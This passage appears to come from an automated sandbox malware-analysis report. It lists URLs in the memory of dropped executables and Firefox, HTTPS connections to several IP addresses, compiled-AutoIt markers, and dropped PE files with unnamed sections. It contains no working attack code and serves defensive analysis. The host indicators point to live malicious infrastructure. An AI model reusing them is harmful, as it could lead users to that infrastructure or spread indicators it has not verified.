Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: 85746525a0.exe, 0000000B.00000003.2759360034.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3248441789.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3447488113.0000022389DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000030.00000003.3313163016.000002238E377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312075480.000002238E31F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3311874121.000002238E100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceFailed
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000030.00000002.3592510223.000002238B5EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 85746525a0.exe, 0000000B.00000003.2758762206.00000000033E4000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3239964465.0000000005770000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3524238763.000000000B775000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 85746525a0.exe, 0000000B.00000003.2758762206.00000000033E4000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3239964465.0000000005770000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3524238763.000000000B775000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000030.00000002.3419584209.0000006899EEC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3462121451.0000022389EB7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/installDistributionAddonscleanupTemporaryAddons/existing
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/cleanupTemporaryAddons/promise
Source: firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000030.00000002.3506483524.000002238A6E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002E.00000002.3260067956.000001D550DAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3295054621.000001D74457F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://071e
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://84a3
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 94.130.188.57:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49949 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: bc893816fa.exe, 0000001F.00000000.3065867664.0000000000A62000.00000002.00000001.01000000.0000001E.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_96d000c4-6
Source: bc893816fa.exe, 0000001F.00000000.3065867664.0000000000A62000.00000002.00000001.01000000.0000001E.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_4ccafa51-3
Source: bc893816fa.exe, 00000031.00000000.3263758575.0000000000A62000.00000002.00000001.01000000.0000001E.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_7ed646e7-c
Source: bc893816fa.exe, 00000031.00000000.3263758575.0000000000A62000.00000002.00000001.01000000.0000001E.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_c1c325d4-1
Drops large PE files
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File dump: service123.exe.19.dr 314212352 Jump to dropped file
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: random[3].exe.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name: .idata
Source: random[3].exe.6.dr Static PE information: section name:
Source: 74b92d58dc.exe.6.dr Static PE information: section name:
Source: 74b92d58dc.exe.6.dr Static PE information: section name: .idata
Source: 74b92d58dc.exe.6.dr Static PE information: section name:
Source: random[1].exe2.6.dr Static PE information: section name:
Source: random[1].exe2.6.dr Static PE information: section name: .idata
Source: random[1].exe2.6.dr Static PE information: section name:
Source: 932bb971c3.exe.6.dr Static PE information: section name:
Source: 932bb971c3.exe.6.dr Static PE information: section name: .idata
Source: 932bb971c3.exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name: .idata
Source: random[2].exe.6.dr Static PE information: section name:
Source: c9692f9101.exe.6.dr Static PE information: section name:
Source: c9692f9101.exe.6.dr Static PE information: section name: .idata
Source: c9692f9101.exe.6.dr Static PE information: section name:
Source: random[3].exe0.6.dr Static PE information: section name:
Source: random[3].exe0.6.dr Static PE information: section name: .idata
Source: random[3].exe0.6.dr Static PE information: section name:
Source: e577d0589a.exe.6.dr Static PE information: section name:
Source: e577d0589a.exe.6.dr Static PE information: section name: .idata
Source: e577d0589a.exe.6.dr Static PE information: section name:
Source: random[2].exe0.6.dr Static PE information: section name:
Source: random[2].exe0.6.dr Static PE information: section name: .idata
Source: random[2].exe0.6.dr Static PE information: section name:
Source: ed7d415177.exe.6.dr Static PE information: section name:
Source: ed7d415177.exe.6.dr Static PE information: section name: .idata
Source: ed7d415177.exe.6.dr Static PE information: section name:
Source: random[2].exe1.6.dr Static PE information: section name:
Source: random[2].exe1.6.dr Static PE information: section name: .idata
Source: d0e32932f8.exe.6.dr Static PE information: section name:
Source: d0e32932f8.exe.6.dr Static PE information: section name: .idata
